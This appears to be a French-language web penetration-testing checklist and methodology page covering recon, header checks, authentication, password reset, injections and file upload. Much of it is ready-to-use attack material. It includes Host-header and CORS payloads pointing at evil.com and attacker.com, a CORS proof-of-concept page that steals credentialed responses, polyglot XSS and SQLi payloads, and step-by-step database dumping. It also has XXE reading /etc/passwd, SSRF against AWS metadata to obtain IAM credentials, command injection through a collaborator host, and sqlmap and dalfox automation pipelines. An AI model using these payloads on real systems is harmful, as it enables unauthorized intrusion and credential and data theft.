Bebzounette
Rechercher…
⌃K

CheckList & Méthodologie

Au début :

  • Ajouter l'url dans le scope sur BURP
  • Mettre les cookies du compte le moins privilégié dans l'extension Authorize

Scan Server

  • NMAP
    sudo nmap -sS <IP>
    nmap -A -p- <IP>
    sudo nmap -v -Pn -sV --reason --version-all --top-ports 1000 <IP>
  • Nikto
    nikto -h <URL>
  • Shodan
    • Aller sur le site Shodan et regarder s'il existe des informations
  • DNS
    • Check DNS
      dnsrecon -d www.example.com -a
      dnsenum <IP>

SSL/TLS Check

  • Checkez la version TLS utilisée (doit être 1.3) | Expiration des certificats | Support PFS
    • SSL Scanner (Burp Extension)
    • ​SSL_Check​
      ./testssl.sh <URL>
      testssl <URL>

Subdomain/Directory Listing

Specific informations gathering

  • Check de :
  • WAF (Fortinet, CloudFlare, etc...)
  • Google Dork
  • Code source

Headers Check

  • X-XSS-Protection
  • Strict-Transport-Security
  • X-Content-Type-Options
  • X-Frame-Options
  • Content-Security-Policy
  • Cache-Control

Headers Injection

  • Host header injection
    • Host Header
      • Host : evil.com
      • Host: localhost
      • Host : javascript:confirm(1)
      • Host: <link src="http://www.attacker.com"/>
      • Dupliquez le champs Host : evil.com:
        GET / HTTP/1.1
        Host: www.vulnerable_website.com
        Host: www.attacker.com
      • Indentez le premier champ Host :
        GET / HTTP/1.1
        Host: www.vulnerable_website.com
        Host: www.attacker.com
    • Bypass admin panel
      1. Ce bypass est utilisé lorsque l'accès à la page de connexion de l'admin vous est interdit.
      3. Injecter "X-Orginal-URL : /admin" ou "X-Rewrite-URL:/admin".
      4. Utiliser cet en-tête sous Host
      ​
      * Utilisez Burp pour capturer puis vérifier
    • Forwarded Injection
      Injecter :
      • 127.0.0.1
      • localhost
      • 192.168.1.2
      • burp.collaborator
      • evil.com
      • /admin
      • /console
        Dans :
      • Client-IP:
      • Connection:
      • Contact:
      • Forwarded:
      • From:
      • Host:
      • Origin:
      • Referer:
      • True-Client-IP:
      • X-Client-IP:
      • X-Custom-IP-Authorization:
      • X-Forward-For:
      • X-Forwarded-For:
      • X-Forwarded-Host:
      • X-Forwarded-Server:
      • X-Host:
      • X-Original-URL:
      • X-Originating-IP:
      • X-Real-IP:
      • X-Remote-Addr:
      • X-Remote-IP:
      • X-Rewrite-URL:
    ​
    • URL Absolu
      Essayez de rentrer un URL absolu :
      GET **https://google.com** HTTP/1.1
      Host: www.google.com
  • SSRF Injection
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
  • CORS (Cross Origin Resource Sharing)
    Ajouter le header "Origin" à la requête :
    GET / HTTP/1.1
    Host: www.vulnerable_website.com
    **Origin : evil.com**
    Si la réponse contient le code ci dessous vous avez une vulnérabilité CORS :
    **Acces-Control-Allow-Origin: evil.com
    Access-Control-Allow-Credentials: True**
    Pour POC une vulnérabilité CORS :
    Habituellement, vous voulez cibler un endpoint API.
    • Créer un fichier test.html
      <html>
      <body>
      <h2>CORS PoC</h2>
      <div id="demo">
      <button type="button" onclick="cors()">Exploit</button>
      </div>
      <script>
      function cors() {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
      }
      };
      xhr.open("GET",
      "https://victim.example.com/endpoint", true);
      xhr.withCredentials = true;
      xhr.send();
      }
      </script>
      </body>
      </html>
    • Créez un server python : python3 -m http.server
    • Cliquez sur test.html puis sur le bouton POC
      ​trustedsec/cors-poc​
      CORS bypass :
      Origin : null
      Origin : attacker.com
      Origin : attacker.target.com
      Origin : attackertarget.com
      Origin : sub.attackertarget.com
      Origin : attacker.com and then change the method Get to Post/Post to Get
      Origin : sub.attacker target.com
      Origin : sub.attacker%target.com
      Origin : attacker.com/target.com

Cookies

  • Attributs à checker
    • HttpOnly
    • Secure
    • SameSite
  • Obfuscation
  • Credentials
    • Contient des creds ?
    • Contient des paramètres (id, uid, ...) ?
    • Tester des injections SQL dans les paramètres du genre (uid=, id=)

Login/Logout/Account creation

  • Creation de compte
    • Politique de mot de passe ( 8 caractères minimums, Majuscule, Minuscule, caractères speciaux) sinon vulnérabilité.
    • Vérification par email lors de la création de compte ?
    • Essayer de rentrer un nom d'utilisateur déjà existant pour voir si l'ancien est effacé
    • Username unique ? Possibilité d'avoir le même qu'un autre ?
    • Ajouter des espaces dans le champs "Password"
    ​
  • Login
    • Provoquer une erreur et voir si information dans le message d'erreur
    • Login avec l'utilisateur ayant le moins de privilège
      • Ajouter les cookies de cet user à Autorize
    • Brute Force possible ?
    • Injection SQL possible ?
    • Énumération d'users ?
    ​
  • Logout
    • Provoquer une erreur et voir s'il y a des informations dans le message d'erreurs
    • Essayer de se Logout et voir si les cookies sont réutilisables
    • Énumération d'users ?

Forgot_Password

  • Lien de reset de password n'expirant jamais
    lorsqu'un utilisateur demande un changement de mot de passe, il obtient un lien de réinitialisation de mot de passe pour réinitialiser le mot de passe, c'est le comportement normal, mais il devrait également expirer après un certain temps. S'il n'expire pas et que vous pouvez utiliser le lien de réinitialisation du mot de passe plusieurs fois pour réinitialiser le mot de passe. Ensuite, vous pouvez le considérer comme une vulnérabilité.
  • Pas de limite sur le reset de password
    La limitation de débit est utilisée pour contrôler la quantité de trafic entrant et sortant vers ou depuis un réseau. Essayez donc d'envoyer beaucoup de requêtes, si cela ne vous bloque pas, vous pouvez le considérer comme une vulnérabilité.
    HOW TO HUNT :
    1. 1.
      Démarrez burp et interceptez la demande de réinitialisation du mot de passe
    2. 2.
      Envoyer à l'intruder
    3. 3.
      Utilisez le payload "null"
  • Déni de service lors de la saisie d'un long mot de passe
    Normalement, les mots de passe ont 8-12-24 ou jusqu'à 48 chiffres. s'il n'y a pas de limite de caractères dans le mot de passe, vous pouvez le considérer çela comme une vulnérabilité.
    HOW TO HUNT :
    1. 1.
      Démarrez burp et interceptez la demande de réinitialisation du mot de passe
    2. 2.
      Envoyer à l'intruder
    3. 3.
      Utilisez le payload "null"
    ​
  • Fuite de token de réinitialisation de mot de passe via referer
    Le referer HTTP est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page Web qui est liée à la ressource demandée. L'en-tête de demande Referer contient l'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi. Il est donc possible que le jeton de réinitialisation du mot de passe fuit via l'en-tête de demande de référence.
    HOW TO HUNT :
    1. 1.
      Demandez la réinitialisation du mot de passe sur votre adresse e-mail
    2. 2.
      Ouvrez le lien de réinitialisation du mot de passe
    3. 3.
      Assurez-vous de ne pas modifier le mot de passe sur la page de réinitialisation du mot de passe
    4. 4.
      Cliquez sur les liens de médias sociaux et capturez la demande à l'aide de Burp Suite
    5. 5.
      Vérifiez si le referer contient un jeton de réinitialisation de mot de passe
    Exemple : Nord Security disclosed on HackerOne: Password Reset Link Leaked In...​
​
  • Password reset Poisoining grâce à une fuite de token
    Utilisations des idées pour forward la requete vers un lien nous appartenant.
    HOW TO HUNT :
    1. 1.
      Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
    2. 2.
      Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burp (essayer un par un !)
    3. 3.
      Utilisez Ngrok ou collaborator
      Host:attacker.com
      ​
      Host:target.com
      X-Forwarded-Host: burp.collaborator
      X-Fowraded-For : burp.collaborator
      ​
      Host:target.com
      Host: burp.collaborator
  • Remplacer email par [email protected] et examiner les requetes obtenus.
  • ID dans la requete ? Mettre un autre ID
  • Brute force possible ?
  • Token présent dans la requête ?
  • Expiration du lien de reset ?
  • Spamming d'email possible ?
  • Demander deux resets de mdp et tester le lien le plus vieux
  • Utiliser l'extension Burp "ParamMiner" et chercher des paramètres cachés.
  • Essayez de supprimer le champs "Ancien mot de passe" si on vous demande de l'entrer
  • Si un CSRF_Token est présent essayer de set sa valeur sur "null" : CSRF_Token:null
  • Host header injection
    • Créez un lien Ngrok
    • Demander un reset de mot de passe et injecter "Host:<ngrok_url> " avec votre email et checker si le lien de reset dans l'email contient votre URL ngrok
    • Injecter la même chose dans le header "X-Forwarded-Foret **X-Forwarded-Host**"

JavaScript

Open Redirect

  • Chercher des paramètres du type : redirect=, url=, redirecturl=, redirection=, et essayer d'injecter un site externe
Si une redirection s'effectue vous êtes en présence d'une vulnérabilité d'Open Redirection
Astuce : exporter le sitemap de burp :
cat sitemap.txt | gf redirect >> test_redirect.txt
cat test_redirect.txt | qsreplace "https://google.com" >> ffuf_redirect.txt
ffuf -c -w ffuf_redirect.txt -u FUZZ

JWT

  • JWT tool
    • None algorithm :
      Essayez de changer le header du JWT normalement encodé en RS256 en "None" et testez les différents payload générés :
      python3 jwt_tool.py "<JWT>" -X a
    • From RS256 to HS256
      Essayez de changer le type d'algorithme de chiffrement utilisé (RS256 néscessite une clef privée alors que HS256 utilise une clef publique partagée. On peut donc essayer de chiffrer ce token avec la meme clef publique que l'application.
      python3 jwt_tool.py "<JWT>" -S hs256 -k clef_public
Voila une extension Burp qui reproduit les mêmes attaques : JOSPEH
  • JOSEPH Extension
    • Key Confusion
    • Signature Exclusion
  • Signature non checker par le serveur
Il peut arriver qu'un serveur ne check pas la signature du JWT, nous allons donc essayer de modifier le JWT
python3 jwt_tool.py "<JWT>" -I -pc name -pv admin #On change la variable {name}={admin}

Injections

POLYGLOT PAYLOAD TO USE EVERYTIME :
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
(/*! SLEEP(5) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(5) /*/, onclick=alert(1)//> /*/*/-- 'or" /*! or SLEEP(5) /*/, onclick=alert(1)// /*/*/--{{7*7} "
  • SQLi
    • Manuellement 1. Trouver une injection
      Le but étant de remarquer si une erreur apparait ou si le comportement de l'application change.
      ​
      ```sql
      '
      ' or 1=1
      ' or 1=1 --
      ' or 1=1 -- -
      ' or 1=1 #
      ' and 1=2 -- -
      ' and 1=1 -- -
      Bypass WAF : %00 ' UNION SELECT ...
      ​
      Best payload : Permet de trouver les blinds et les error based
      ' or sleep(5) -- -
      ```
      1. 1.
        Trouver le nombre de colonnes :
        ' ORDER BY 1 --
        ' ORDER BY 2 --
        ' ORDER BY 3 --
        ' UNION SELECT NULL --
        ' UNION SELECT NULL,NULL --
        ' UNION SELECT NULL,NULL,NULL --
        ​
        Incrementer de 1 le ORDER BY ou le NULL, jusqu"à avoir :
        - Une erreur pour le order BY
        - Pas d'erreur pour le NULL
      2. 2.
        Extraction d'informations database(), version(), user(), UUID() with concat() or group_concat() (COLUMNS represente le nb de colonnes trouvé précédement, soit remplacer par 1,2,3,... ou NULL,NULL,NULL,... ) :
        Oracle 'UNION SELECT banner, COLUMNS, FROM v$version --
        'UNION SELECT version, NULL, NULL FROM v$instance --
        ​
        Microsoft 'UNION SELECT @@version, COLUMNS --
        ​
        PostgreSQL 'UNION SELECT version(), COLUMNS --
        ​
        MySQL 'UNION SELECT @@version, COLUMNS --
      3. 3.
        Dump de la database (Attention : Mieux vaut encoder les espaces avec un "+") :
        Oracle 'UNION+SELECT+table_name+FROM+all_tables
        'UNION SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
        ​
        Microsoft 'UNION SELECT table_name FROM information_schema.tables
        'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
        ​
        PostgreSQL 'UNION SELECT table_name FROM information_schema.tables
        'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
        ​
        MySQL 'UNION SELECT table_name FROM information_schema.tables
        'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
      4. 4.
        TIME DELAY ( Utile pour trouver des SQLi)
        Oracle dbms_pipe.receive_message(('a'),10)
        ​
        Microsoft WAITFOR DELAY '0:0:10'
        ​
        PostgreSQL SELECT pg_sleep(10)
        ​
        MySQL SELECT sleep(10)
      5. 5.
        SQLi Error based avec XPATH
        D'après mon expérience, la plupart du temps, quand on ajoute une quote ou deux et nous obtenons une erreur de l'application alors on en déduis une SQLi, très bien. On commence par commenter la requête et à chercher le nombre de colonnes avec ORDER BY.
        Supposons qu'il y ait 5 colonnes. Maintenant, quand nous injectons avec de l'Union Based, On se rend compte que l'erreur ne nous renvoi rien... Merde....
        C'est la situation dans laquelle on peut utiliser l'injection XPATH.
        Donc on reprend l'injection de base :
        id=1' union select 1,2,3,4,-- -
        # Cette Injection prend la forme de :
        select path from pages where id="<notre_requete>" limit 1,1;
        On vas donc utiliser la fonction MySQL"extractvalue" qui utilise une requete XPATH pour formuler la requete. La fonction prend l'entrée sous la forme suivante : ExtractValue('xmldatahere', 'xpathqueryhere').
        Si la requête XPath est syntaxiquement incorrecte, un message d'erreur s'affiche : Erreur de syntaxe XPATH : 'xpathqueryhere'. C'est dans cette erreur qu'on va pouvoir retrouver nos réponse à nos requêtes.
        id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--
        Output : XPATH syntax error: ' database_name_here'
        Maintenant il ne vous reste plus qu'à adapter les requêtes pour dumper dans l'ordre :
        1. 1.
          Le nom de la database
        2. 2.
          Le nom des tables
        3. 3.
          Le nom des colonnes
        4. 4.
          Les données dans les colonnes
          id=1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
          Output : XPATH syntax error: 'table_name_here'
          ​
          id=1' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--
          ​
          id=1' and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))--
          ⚠️ ATTENTION : Vous avez remarqué le "LIMIT 1,1", jouez avec ca pour afficher toutes les données.
          Ex : LIMIT 1,1 / LIMIT 2,1 / LIMIT 3,1 ....
    • Automatisation
      sublist3r -d target | tee -a domains.txt (utilisation d'autres tolls genre findomain, assetfinder, etc.)
      cat domains.txt | httpx | tee -a alive_subdomains.txt
      cat alive_subdomains| waybackurls | tee -a urls.txt
      gf sqli urls.txt >> sqli_test.txt
      sqlmap -m sqli_test.txt --dbs --batch
  • XSS
    Test d'une XSS :
    Le paramètre est-il réfléchis dans la réponse du serveur ? Si oui →
    • Go sur ce site et mettez les différent tags et events dans votre intruder pour savoir lesquels sont filtrés ou non.
      ​Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy​
    • Injection de code HTML
      # HTML
      "><h1>hello</h1>
      Si le Hello" prend l'attribut H1 on peut tester plusieur injections :
      <body onload=prompt(/XSS/.source)>
      <input autofocus onfocus=prompt(1)>
      <img src=x onerror=prompt()>${{7*7}}'--
      ​
      # Basic payload
      <script>confirm(1)</script>
      <scr<script>ipt>confirm(1)</scr<script>ipt>
      "><script>confirm(1)</script>
      "><script>prompt(String.fromCharCode(88,83,83))</script>
      ​
      # Img payload
      <img src=x onerror=prompt(1);>
      <img src=x onerror=prompt(1)//
      <img src=x onerror=prompt(String.fromCharCode(88,83,83));>
      <img src=x oneonerrorrror=prompt(String.fromCharCode(88,83,83));>
      <img src=x:prompt(alt) onerror=eval(src) alt=xss>
      "><img src=x onerror=prompt(1);>
      "><img src=x onerror=prompt(String.fromCharCode(88,83,83));>
      ​
      # Svg payload
      <svgonload=prompt(1)>
      <svg/onload=confirm(1)>
      <svg onload=prompt(1)//
      <svg/onload=confirm(String.fromCharCode(88,83,83))>
      <svg id=alert(1) onload=eval(id)>
      "><svg/onload=confirm(String.fromCharCode(88,83,83))>
      "><svg/onload=prompt(/XSS/)
      <svg><script href=data:,confirm(1) />(`Firefox` is the only browser which allows self closing script)
      ​
      # Div payload
      <div onpointerover="confirm(xss)">MOVE HERE</div>
      <div onpointerdown="confirm(45)">MOVE HERE</div>
      <div onpointerenter="confirm(45)">MOVE HERE</div>
      <div onpointerleave="confirm(45)">MOVE HERE</div>
      <div onpointermove="confirm(45)">MOVE HERE</div>
      <div onpointerout="confirm(45)">MOVE HERE</div>
      <div onpointerup="confirm(45)">MOVE HERE</div>
      Automatisation :
    • Inscription sur XSSHunter
      paramspider -d exemple.com > param.txt
      dalfox -b Username.xss.ht file param.txt
      TIPS :
    • Ne plus utiliser alert, préférez confirm ou prompt
    • N'utilise pas des "" dans votre payload, préférez utiliser un nombre
      ~~alert("XSS")~~ —> prompt(1)
  • XXE
    1. 1.
      Convertir le content-type "application/json"/"application/x-www-form-urlencoded" en "applcation/xml".
    2. 2.
      Si le File Upload autorise docx/xlcs/pdf/zip , unziper le fichier et rajouter un fichier evil.xml avec votre XML injection dedans
    3. 3.
      Si possibilité d'upload une image SVG, injecter une XXE dans votre SVG
    4. 4.
      Si l'application propose des flux RSS, ajoutez votre injection dans le flux RSS.
    5. 5.
      Si l'application propose l'intégration du SSO, vous pouvez injecter votre code xml vicieux dans la demande/réponse SAML.
    6. 6.
      Dans du SOAP :
      ​GitHub - payloadbox/xxe-injection-payload-list: 🎯 XML External Entity (XXE) Injection Payload List​
      Il faut comprendre comment marche une XXE pour essayer de bypass les mécanismes de sécurité :
      Le XML marche sous forme d'entité, il est possible d'injecter des entitées customs :
      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [ <!ENTITY MON_ENTITE "Valeur de mon entité" > ]>
      <userInfo>
      <firstName>John</firstName>
      <lastName>&MON_ENTITE;</lastName> #Appel de ma custom entity
      </userInfo>
      Ou encore d'injecter des entitées externes qui seront chargé soit depuis un URL soit depuis un fichier distant. Pour charger ces entités on utilise la commande SYSTEM
      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://external-website.com" > ]> # **file:///etc/passwd** peut aussi être utilisé
      <userInfo>
      <firstName>John</firstName>
      <lastName>&ext;</lastName> #Appel de mon external entity
      </userInfo>
      Quelques fois il est possible que les entitées externes soient bloquées pour des raisons de sécurité. On peut alors utiliser non plus des custom ou external entities mais des parameters entity qui vont s'appeler directement depuis la délcaration de la DOCTYPE et donc plus besoin de l'appeler dans les paramètres de la requète (plus bespoin de &xxe;) :
      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://burp.collaborator.net"> %xxe; ]>
  • SSRF
    • POC
      Dans Burp > fichier > Burp Collaborator > Copy to Clipboard
      Injectez vos Burp collaborator dans les éléments suivants et checker si vous avez une connexion en retour :
      • Burp Extension : Collaborator Everywhere
      • Injecter dans les headers (
        GET /HTTP 1.1
        Host: site.tld
        Agent: Firefox
        Referrer: https://burp_collaborator.com
      • Utiliser ssrf.py avec gau
        gau domain.com | python3 ssrf.py burp_collaborator.com
      • Checker si des fonctionnalités Java URI, CURL, WGET, LDAP, File, FTP, SMTP sont utilisés
      • Checker des paramètres où l'on peu entrer des liens ou quand il y a une redirection : url=, redirect=, redirecturl=, email=, ip=
      • Si XSS ou possibilité d'injecter du JavaScript :
        <iframe src="file:///etc/passwd" width="400" height="400">
        <img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')>
    • Automatisation 1. Getting urls
      waybackurl [target.com](http://target.com) >> blindssrftesturls.txt
      gau -subs [target.com](http://target.com) >>blindssrftesturls.txt
      2. Trouver les faux positifs
      cat blindssrftesturls.txt | sort -u | anewc | httpx | tee -a pre_ssrfurls.txt
      3. Trouver les paramètres vulnérables
      cat pre_ssrfurls.txt | gf ssrf >> final_ssrfurls.txt
      4. Remplacer par votre Burp Collaborator et Fuzzer
      cat final_ssrfurls.txt | qsreplace "Burpcollaborator" >> ssrf_ffuf.txt
      ffuf -c -w ssrf_ffuf.txt -u FUZZ
    • TIPS :
      • Si instance sur AWS
        AWS est largement utilisé de nos jours. Les instances n'ont pas une IP en 127.0.0.1 mais en 169.254.169.254.
        Essayez d"injecter :
        ​
        http://169.254.169.254/latest/meta-data/
        http://169.254.169.254/latest/user-data/
        http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
        http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
      • Test RCE
        GET /XXX/Logo?url=burpcollaborator?`whoami`
        Host: exemple.com
        ​
        ou
        ​
        GET /XXX/Logo?url=<os cmd>.burpcollaborator
        Host: exemple.com
      • Utiliser des redirection d'URL pour bypass certaines protection
        #!/usr/bin/env python3
        #302redirect.py
        ​
        import sys
        from http.server import HTTPServer, BaseHTTPRequestHandler
        ​
        if len(sys.argv)-1 != 2:
        print("""
        Usage: {} <port_number> <url>
        """.format(sys.argv[0]))
        sys.exit()
        ​
        class Redirect(BaseHTTPRequestHandler):
        def do_GET(self):
        self.send_response(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()
        def send_error(self, code, message=None):
        self.send_response(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()
        HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
        python3 302redirect.py 8080 "http://burpcollaborator/"*
        ​
        GET /XXX/Logo?url=<YOUR IP>/
        Host: exemple.com
      • Si présence d'une SSRF utiliser le protocole gopher :
        GET /XXX/Logo?url=gopher://burpcollaborator
        Host: exemple.com
  • SSTI
    Ruby
    <%=`id`%>
    Twig
    {{7*'7'}} --> 49
    Jinja
    {{7*'7'}} --> 7777777
  • OS command
  • XPath
  • LDAP

File Upload

  • ByPass de filtre:
    Différents types de filtrage.
    • Validation de l'extension
      Les extensions de fichiers sont utilisées (en théorie) pour identifier le contenu d'un fichier. En pratique, elles sont très faciles à modifier et ne signifient donc pas grand-chose ; cependant, MS Windows les utilise toujours pour identifier les types de fichiers, bien que les systèmes basés sur Unix aient tendance à utiliser d'autres méthodes, que nous aborderons plus tard. Les filtres qui vérifient les extensions fonctionnent de deux manières. Soit ils établissent une blacklist d'extensions (c'est-à-dire qu'ils ont une liste d'extensions qui ne sont pas autorisées), soit ils établissent une whitelist d'extensions (c'est-à-dire qu'ils ont une liste d'extensions qui sont autorisées et rejettent tout le reste).
    • Filtre du file type
      Similaire à la validation de l'extension, mais plus intensif, le filtrage du type de fichier cherche, une fois encore, à vérifier que le contenu d'un fichier est acceptable pour le téléchargement. Nous allons examiner deux types de validation de type de fichier :
      La validation MIME : Les types MIME (Multipurpose Internet Mail Extension) sont utilisés pour identifier les fichiers, à l'origine lorsqu'ils sont transférés sous forme de pièces jointes par courrier électronique, mais désormais aussi lorsqu'ils sont transférés par HTTP(S). Le type MIME pour un téléchargement de fichier est joint dans l'en-tête de la demande, et ressemble à ceci :
      Les types MIME suivent le format /. Dans la requête ci-dessus, vous pouvez voir que l'image "spaniel.jpg" a été téléchargée sur le serveur. En tant qu'image JPEG légitime, le type MIME de ce téléchargement était "image/jpeg". Le type MIME d'un fichier peut être vérifié côté client et/ou côté serveur ; cependant, comme le type MIME est basé sur l'extension du fichier, il est extrêmement facile de le contourner.
      Validation des nombres magiques : Les nombres magiques sont le moyen le plus précis de déterminer le contenu d'un fichier, mais il n'est pas impossible de les falsifier. Le "numéro magique" d'un fichier est une chaîne d'octets au tout début du contenu du fichier qui identifie le contenu. Par exemple, un fichier PNG aura ces octets au tout début du fichier : 89 50 4E 47 0D 0A 1A 0A.
      Contrairement à Windows, les systèmes Unix utilisent des numéros magiques pour identifier les fichiers. Toutefois, lors du téléchargement de fichiers, il est possible de vérifier le numéro magique du fichier téléchargé pour s'assurer qu'il peut être accepté en toute sécurité. Ce n'est en aucun cas une solution garantie, mais c'est plus efficace que de vérifier l'extension d'un fichier.
    • Filtre de la taille du fichier
      Les filtres de longueur de fichier sont utilisés pour empêcher le téléchargement de fichiers volumineux sur le serveur via un formulaire de téléchargement (car cela peut potentiellement priver le serveur de ressources). Dans la plupart des cas, cela ne posera aucun problème lorsque nous téléchargerons des shells ; cependant, il faut garder à l'esprit que si un formulaire de téléchargement ne prévoit que le téléchargement d'un très petit fichier, il peut y avoir un filtre de longueur en place pour s'assurer que la longueur du fichier est respectée. Par exemple, notre shell PHP reverse complet de la tâche précédente pèse 5,4 Ko, ce qui est relativement petit, mais si le formulaire attend un maximum de 2 Ko, nous devrons trouver un autre shell à télécharger
      Il convient de noter qu'aucun de ces filtres n'est parfait à lui seul. Ils sont généralement utilisés en conjonction les uns avec les autres, ce qui permet d'obtenir un filtre à plusieurs niveaux et d'accroître considérablement la sécurité du téléchargement. Tous ces filtres peuvent être appliqués côté client, côté serveur ou les deux.
      Check à faire:
    • Bypass Filtre côté serveur
    • Méthodologie
      Il existe quatre façons simples de contourner le filtre de téléchargement de fichiers côté client :
      • Désactiver Javascript dans votre navigateur - cela fonctionnera si le site ne nécessite pas Javascript pour fournir une fonctionnalité de base. Si la désactivation complète de Javascript empêche le site de fonctionner, l'une des autres méthodes est plus souhaitable ; sinon, cette méthode peut être un moyen efficace de contourner complètement le filtre côté client.
      • Intercepter et modifier la page entrante. En utilisant Burpsuite, nous pouvons intercepter la page Web entrante et supprimer le filtre Javascript avant qu'il n'ait la possibilité de s'exécuter. La procédure à suivre est décrite ci-dessous.
      • Intercepter et modifier le téléchargement de fichiers. Alors que la méthode précédente fonctionne avant le chargement de la page Web, cette méthode permet à la page Web de se charger normalement, mais intercepte le téléchargement du fichier après qu'il soit passé (et accepté par le filtre). Encore une fois, nous couvrirons le processus d'utilisation de cette méthode au cours de la tâche.
      • Envoyez le fichier directement au point de téléchargement. Pourquoi utiliser la page Web avec le filtre, alors que vous pouvez envoyer le fichier directement en utilisant un outil comme curl ? Envoyer les données directement à la page qui contient le code de traitement du téléchargement du fichier est une autre méthode efficace pour contourner complètement un filtre côté client. Nous ne traiterons pas cette méthode en profondeur dans ce tutoriel, mais la syntaxe d'une telle commande ressemblerait à ceci :
        curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>
        Supposons qu'une fois encore, nous ayons trouvé une page de téléchargement sur un site web:
        Comme toujours, nous allons jeter un coup d'oeil au code source. Ici, nous voyons une fonction Javascript de base vérifiant le type MIME des fichiers téléchargés :

CSRF

Extension Burp

Quick Automatise Recon

Subfinder + amass + crtfinder + sublist3r + google dork >> all_subdomains.txt
httpx -l all_subdomains.txt -silent >> live_subdomains.txt
cat live_subdomains.txt | waybackurls > waybackurls.txt
ffuf -w /path/to/wordlist -u [https://target/FUZZ](https://target/FUZZ) -mc 200, 301,302,403 >> hidden_directories.txt
nmap -sC -iL all_subdomains.txt >> nmap_results
cat waybackurl.txt | gf redirect | tee -a redirect.txt